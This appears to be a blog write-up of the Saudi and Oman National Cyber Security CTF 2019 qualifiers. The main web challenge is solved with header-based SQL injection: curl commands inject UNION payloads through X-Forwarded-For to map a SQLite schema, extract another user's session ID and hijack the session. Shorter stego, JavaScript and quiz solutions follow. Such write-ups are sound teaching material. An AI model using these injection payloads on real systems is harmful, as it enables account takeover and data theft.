Saudi and Oman National Cyber Security CTF 2019 Quals Write-ups

Information#

CTF#

  • Name : Saudi and Oman National Cyber Security CTF 2019 Quals
  • Website : cybertalents.com
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

200 - Maria - Web#

Maria is the only person who can view the flag

If you access the page with a valid cookie, you won't see anything, eg. curl -v http://35.222.174.178/maria/ -H 'Cookie: PHPSESSID=4l1vrp9q0tvgbjua7ddp9g2jh1;'.

But if you request the page without a cookie, you'll get an interesting result before the HTML content (I edited my IP address).

1
2
3
4
5
$ curl http://35.222.174.178/maria/ 
SELECT * FROM nxf8_sessions where ip_address = 'x.x.x.x'<!DOCTYPE html>
<html lang="en">
<head>
...

Let's try to spoof our IP address:

1
2
3
4
5
$ curl -v http://35.222.174.178/maria/ -H 'X-Forwarded-For: 127.0.0.1'
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1'<!DOCTYPE html>
<html lang="en">
<head>
...

The fake IP address is reflected, so we are able to control the output through the X-Forwarded-For HTTP header.

Let's find the number of columns with an Error-based SQLi:

1
2
3
4
5
$ curl -s http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' UNION SELECT 1-- -" | head -1 
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' UNION SELECT 1-- -'Error : HY000 1 SELECTs to the left and right of UNION do not have the same number of result columns

$ curl -s http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' UNION SELECT 1,2,3,4-- -" | head -1
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' UNION SELECT 1,2,3,4-- -'<!DOCTYPE html>

Now we know that the nxf8_sessions has 4 columns.

Let's find if we can make a time based injection.

1
2
$ curl -s http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' OR SLEEP(5)-- -" | head -1
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' OR SLEEP(5)-- -'Error : HY000 1 no such function: SLEEP

SLEEP seems to be unavailable, it is maybe MySQL < 5.

1
2
$ curl -s http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' OR BENCHMARK(100000000, rand())-- -" | head -1
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' OR BENCHMARK(100000000, rand())-- -'Error : HY000 1 no such function: BENCHMARK

No BENCHMARK either, so it can't be MySQL so.

1
2
$ curl -s http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' OR randomblob(100000000)-- -" | head -1
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' OR randomblob(100000000)-- -'<!DOCTYPE html>

randomblob tells us it is a SQLite database, and the delay tells us it worked so we will be able to make a time based exploitation.

Let's guess another table than nxf8_sessions using the same naming:

1
2
3
4
5
$ curl -s http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' UNION SELECT * FROM nxf8_persons-- -" | head -1
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' UNION SELECT * FROM nxf8_persons-- -'Error : HY000 1 no such table: nxf8_persons%

$ curl -s http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' UNION SELECT * FROM nxf8_users-- -" | head -1
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' UNION SELECT * FROM nxf8_users-- -'Error : HY000 1 SELECTs to the left and right of UNION do not have the same number of result columns%

So there is a nxf8_users table with a different number of column than nxf8_sessions.

Let's guess some probable column names:

1
2
3
4
5
$ curl -s http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' UNION SELECT name,password,1,1 FROM nxf8_users where name='maria'-- -" | head -1
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' UNION SELECT name,password,1,1 FROM nxf8_users where name='maria'-- -'<!DOCTYPE html>

$ curl -s http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' UNION SELECT user_id,ip_address,1,1 FROM nxf8_sessions where user_id=(SELECT id FROM nxf8_users WHERE name='Maria')-- -" | head -1
SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' UNION SELECT user_id,ip_address,1,1 FROM nxf8_sessions where user_id=(SELECT id FROM nxf8_users WHERE name='Maria')-- -'<!DOCTYPE html>

So far I found those tables and columns:

  • nxf8_sessions
    • id
    • user_id
    • ip_address
    • session_id
  • nxf8_users
    • id
    • name
    • password
    • email
    • role
    • more unidentified columns

Now we found the right table and columns, let's think about the payload we will need: X-Forwarded-For: 127.0.0.1' UNION SELECT session_id,1,1,1 FROM nxf8_sessions WHERE user_id=(SELECT id FROM nxf8_users WHERE name='Maria')-- - to get the following query executed by the server: SELECT * FROM nxf8_sessions where ip_address = '127.0.0.1' UNION SELECT session_id,1,1,1 FROM nxf8_sessions WHERE user_id=(SELECT id FROM nxf8_users WHERE name='Maria')-- -';

Let's execute that:

1
2
3
4
5
6
7
8
9
10
11
$ curl --head http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' UNION SELECT 1,1,session_id,1 FROM nxf8_sessions WHERE user_id=(SELECT id FROM nxf8_users WHERE name='Maria')-- -"
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sun, 10 Feb 2019 19:07:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: PHPSESSID=c4mfpdn2mft3hla2i2q36h1b27; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=1; expires=Sun, 10-Feb-2019 20:07:57 GMT; Max-Age=3600

We can see there is two times Set-Cookie: PHPSESSID, and the second is PHPSESSID=1;.

As we sent a SELECT 1 it must be the result of our query, we are selecting 4 columns but only one is reflected here, so let's change the order in the SELECT clause.

Finally we found that the 4th column is injected in the PHPSESSID value, so we will need to send 1,1,1,session_id.

1
2
3
4
5
6
7
8
9
10
11
$ curl --head http://35.222.174.178/maria/ -H "X-Forwarded-For: 127.0.0.1' UNION SELECT 1,1,1,session_id FROM nxf8_sessions WHERE user_id=(SELECT id FROM nxf8_users WHERE name='Maria')-- -"
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sun, 10 Feb 2019 13:55:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: PHPSESSID=lq6imdd338ehp63539ufvetrt0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968; expires=Sun, 10-Feb-2019 14:55:24 GMT; Max-Age=3600

But this way we are send two cookie with the same key PHPSESSID so only the first one is being used by the server and we are not seeing anything.

Let's just make a normal request without injection and only the right cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ curl http://35.222.174.178/maria/ -H 'Cookie: PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<title>Welcome to our website</title>

<!-- Bootstrap -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Maria Website</a>
</div>
<div id="navbar" class="navbar-collapse collapse">

</div><!--/.navbar-collapse -->
</div>
</nav>
<div class="alert alert-info" style="margin: 50px 0 0 0;">
Privacy Note: Your IP is stored in our database for a security tracking reasons.
</div>

<div class="jumbotron">
<div class="container">
<h1>Welcome to our website!</h1>
<p>Say hi to Maria! its the only person who can reveal the flag</p>
<h3>Hello Maria : your secret flag is : aj9dhAdf4</h3> </div>
</div>

</body>
</html>

Now we have the Hello Maria : your secret flag is : aj9dhAdf4.

50 - Back to basics - Web#

not pretty much many options. No need to open a link from a browser, there is always a different way

http://35.197.254.240/backtobasics redirects to (HTTP 302) http://35.197.254.240/backtobasics/, then we can see there are 4 authorized HTTP verbs: GET, POST, HEAD,OPTIONS. There is also document.location = "http://www.google.com"; making a javascript redirect to google website.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ curl -v http://35.197.254.240/backtobasics/
* Trying 35.197.254.240...
* TCP_NODELAY set
* Connected to 35.197.254.240 (35.197.254.240) port 80 (#0)
> GET /backtobasics/ HTTP/1.1
> Host: 35.197.254.240
> User-Agent: curl/7.63.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Fri, 08 Feb 2019 20:44:28 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Allow: GET, POST, HEAD,OPTIONS
<

* Connection #0 to host 35.197.254.240 left intact
<script> document.location = "http://www.google.com"; </script>

Let's try another method like POST:

1
2
3
4
$ curl -X POST http://35.197.254.240/backtobasics/ 
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->

We got an HTML comment embedding obfuscated JavaScript code.

1
2
3
4
5
6
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];
function reverse(_0xa6e5x2) {
flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])
}
console[_0x7f88[4]]= reverse;
console[_0x7f88[4]](_0x7f88[5])

Let's deobfuscate it and correct it manually.

1
2
3
4
5
var reversed_flag = "ceab068d9522dc567177de8009f323b2";
function reverse(str) {
return str.split("").reverse().join("");
}
reverse(reversed_flag);

By executing the above code in our browser console we got 2b323f9008ed771765cd2259d860baec.

50 - I love images - Stego#

A hacker left us something that allows us to track him in this image, can you find it?

One-liner:

1
2
$ strings godot.png | tail -1 | base32 -d
FLAG{Not_Only_Base64}

50 - Just Another Conference - Quiz#

famous Cybersecurity conference runs by OWASP in different locations

AppSec

Experience feedback#

Pros:

  • Stable platform
  • Fair duration

Cons:

  • No team, only individual
  • Few challenges: 9
  • Unrealistic challenges
  • Some challenges are unrelated to security: the stego challenges are not about true steganography but just fun/joy useless challenge requiring guessing
  • Bad categorization: most forensics challenges were in fact some stego challenges
  • Too much personal information is required for the registration like phone number, sex, the university you were, real name, etc. where only a pseudo and a email address are required.

Conclusion: Challenges are quite easy and targeting high school student who have some notions about security. But the challenges quality are rather low and if you already have the basics you won't learn anything useful in real life because challenge are all unrealistic. However for student you can still learn the basics or tricks that only exists in CTF.

Share